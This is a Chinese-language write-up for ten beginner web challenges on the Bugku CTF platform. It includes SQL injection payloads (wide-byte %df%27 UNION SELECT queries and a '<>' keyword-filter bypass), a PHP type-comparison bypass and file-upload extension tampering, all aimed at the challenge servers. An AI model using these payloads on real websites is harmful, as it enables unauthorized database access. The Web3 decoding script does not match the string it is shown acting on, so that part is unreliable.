bugkuctf平台10个较简单的web题目writeup,适合新手入门,可以找来试试http://ctf.bugku.com/bbs 。
Web2
题目描述:
听说聪明的人都能找到答案
http://120.24.86.145:8002/web2/
直接查看源代码就可以找到flag
文件上传测试
题目描述:
http://103.238.227.13:10085/
Flag格式:Flag:xxxxxxxxxxxxx
抓包,改文件后缀和文件类型即可
计算题
题目描述:
地址:http://120.24.86.145:8002/yanzhengma/
F12修改长度限制即可(建议使用火狐浏览器,因为火狐弹框的内容是可以复制的)
web基础$_GET
题目描述:
http://120.24.86.145:8002/get/
代码审计
$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
使用GET方式提交what=flag即可
http://120.24.86.145:8002/get/?what=flag
web基础$_POST
题目描述:
http://120.24.86.145:8002/post/
代码审计:
$what=$_POST['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
使用火狐的hackbar,POST方式提交what=flag
矛盾
题目描述: http://120.24.86.145:8002/get/index1.php
代码审计:
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
index.php?num=1 在1后面添加任何除数字之外的字母或者符号即可绕过。
http://120.24.86.145:8002/get/index1.php?num=1a
Web3
题目描述:
flag就在这里快来找找吧
http://120.24.86.145:8002/web3/
网页界面一直在弹框,进制弹框后,查看源代码
发现:
<!--KEY{J2sa42ahJK-HS11III}-->
先用脚本转成字符试试
#-*-coding:utf-8-*-
strs = "KEY{J2sa42ahJK-HS11III}"
res = strs.split(';')
key = ''
for i in res:
key += chr(int(i.replace('&#','')))
print key
运行结果为:KEY{xxxxxxxxxxxx}
Sql注入
题目描述:
http://103.238.227.13:10083/
格式KEY{}
试了一下可以进行宽字节注入
1. 先查库:http://103.238.227.13:10083/?id=1%df%27 union select 1,database()%23
2. 既然题目给了提示,直接查找sql5.key中id为1的string字段就好。
http://103.238.227.13:10083/?id=1%df%27 union select 1,string from sql5.key where id=1 %23
SQL注入1
题目描述: 地址:http://103.238.227.13:10087/
提示:过滤了关键字 你能绕过他吗
flag格式KEY{xxxxxxxxxxxxx}
题目给出了过滤代码,可以看到过滤了table、union、and、or、load_file、create、delete等关键词
经过测试,可在关键词中间加“<>”绕过,剩下的就跟上个题目一样了。
1. 查库:
http://103.238.227.13:10087/?id=1 un<>ion sel<>ect 1,database()%23
2. 查找表为key的数据表,id=1值hash字段值
http://103.238.227.13:10087/?id=1 un<>ion sel<>ect 1,hash fr<>om sql3.key where id=1%23
你必须让他停下
题目描述: 地址:http://120.24.86.145:8002/web12/
作者:@berTrAM
打开页面之后,一直在刷新
使用burp拦截,多go几下就出来flag了